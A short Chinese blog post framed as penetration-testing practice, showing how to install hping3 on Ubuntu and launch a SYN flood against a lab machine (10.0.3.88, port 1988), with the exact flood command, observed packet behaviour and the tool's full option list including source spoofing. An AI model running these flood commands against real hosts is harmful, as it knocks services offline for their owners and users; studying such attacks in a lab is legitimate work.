[渗透测试] DOS攻击

使用hping工具,在ubuntu下的安装方法如下:

[plain] view plain copy
 
  1. sudo apt-get install hping3  

安装完成后的实验如下:
比如,发起攻击的机器为10.0.3.83,靶机为10.0.3.88,发起SYN Flood的命令如下

[plain] view plain copy
 
  1. sudo hping3 --flood -S -p <被攻击端口号> <被攻击IP地址>  

sudo hping3 --flood -S -p 1988 10.0.3.88

数据包的样子如下:

可见83机器发出SYN请求,88机器回复RST/ACK。

根据在88机器上开启的TCP/UDP测试工具的连接情况可见83机器上的很多端口同时向88机器的1988端口发起连接。

hping3的完整命令选项如下:

 

[plain] view plain copy
 
    1. usage: hping3 host [options]  
    2.   -h  --help      show this help  
    3.   -v  --version   show version  
    4.   -c  --count     packet count  
    5.   -i  --interval  wait (uX for X microseconds, for example -i u1000)  
    6.       --fast      alias for -i u10000 (10 packets for second)  
    7.       --faster    alias for -i u1000 (100 packets for second)  
    8.       --flood      sent packets as fast as possible. Don't show replies.  
    9.   -n  --numeric   numeric output  
    10.   -q  --quiet     quiet  
    11.   -I  --interface interface name (otherwise default routing interface)  
    12.   -V  --verbose   verbose mode  
    13.   -D  --debug     debugging info  
    14.   -z  --bind      bind ctrl+z to ttl           (default to dst port)  
    15.   -Z  --unbind    unbind ctrl+z  
    16.       --beep      beep for every matching packet received  
    17. Mode  
    18.   default mode     TCP  
    19.   -0  --rawip      RAW IP mode  
    20.   -1  --icmp       ICMP mode  
    21.   -2  --udp        UDP mode  
    22.   -8  --scan       SCAN mode.  
    23.                    Example: hping --scan 1-30,70-90 -S www.target.host  
    24.   -9  --listen     listen mode  
    25. IP  
    26.   -a  --spoof      spoof source address  
    27.   --rand-dest      random destionation address mode. see the man.  
    28.   --rand-source    random source address mode. see the man.  
    29.   -t  --ttl        ttl (default 64)  
    30.   -N  --id         id (default random)  
    31.   -W  --winid      use win* id byte ordering  
    32.   -r  --rel        relativize id field          (to estimate host traffic)  
    33.   -f  --frag       split packets in more frag.  (may pass weak acl)  
    34.   -x  --morefrag   set more fragments flag  
    35.   -y  --dontfrag   set don't fragment flag  
    36.   -g  --fragoff    set the fragment offset  
    37.   -m  --mtu        set virtual mtu, implies --frag if packet size > mtu  
    38.   -o  --tos        type of service (default 0x00), try --tos help  
    39.   -G  --rroute     includes RECORD_ROUTE option and display the route buffer  
    40.   --lsrr           loose source routing and record route  
    41.   --ssrr           strict source routing and record route  
    42.   -H  --ipproto    set the IP protocol field, only in RAW IP mode  
    43. ICMP  
    44.   -C  --icmptype   icmp type (default echo request)  
    45.   -K  --icmpcode   icmp code (default 0)  
    46.       --force-icmp send all icmp types (default send only supported types)  
    47.       --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)  
    48.       --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)  
    49.       --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)  
    50.       --icmp-help  display help for others icmp options  
    51. UDP/TCP  
    52.   -s  --baseport   base source port             (default random)  
    53.   -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec  
    54.   -k  --keep       keep still source port  
    55.   -w  --win        winsize (default 64)  
    56.   -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)  
    57.   -Q  --seqnum     shows only tcp sequence number  
    58.   -b  --badcksum   (try to) send packets with a bad IP checksum  
    59.                    many systems will fix the IP checksum sending the packet  
    60.                    so you'll get bad UDP/TCP checksum instead.  
    61.   -M  --setseq     set TCP sequence number  
    62.   -L  --setack     set TCP ack  
    63.   -F  --fin        set FIN flag  
    64.   -S  --syn        set SYN flag  
    65.   -R  --rst        set RST flag  
    66.   -P  --push       set PUSH flag  
    67.   -A  --ack        set ACK flag  
    68.   -U  --urg        set URG flag  
    69.   -X  --xmas       set X unused flag (0x40)  
    70.   -Y  --ymas       set Y unused flag (0x80)  
    71.   --tcpexitcode    use last tcp->th_flags as exit code  
    72.   --tcp-mss        enable the TCP MSS option with the given value  
    73.   --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime  
    74. Common  
    75.   -d  --data       data size                    (default is 0)  
    76.   -E  --file       data from file  
    77.   -e  --sign       add 'signature'  
    78.   -j  --dump       dump packets in hex  
    79.   -J  --print      dump printable characters  
    80.   -B  --safe       enable 'safe' protocol  
    81.   -u  --end        tell you when --file reached EOF and prevent rewind  
    82.   -T  --traceroute traceroute mode              (implies --bind and --ttl 1)  
    83.   --tr-stop        Exit when receive the first not ICMP in traceroute mode  
    84.   --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop  
    85.   --tr-no-rtt       Don't calculate/show RTT information in traceroute mode  
    86. ARS packet description (new, unstable)  
    87.   --apd-send       Send the packet described with APD (see docs/APD.txt)  
posted @ 2017-08-30 20:59  阿拉善的樵夫  阅读(337)  评论(0编辑  收藏  举报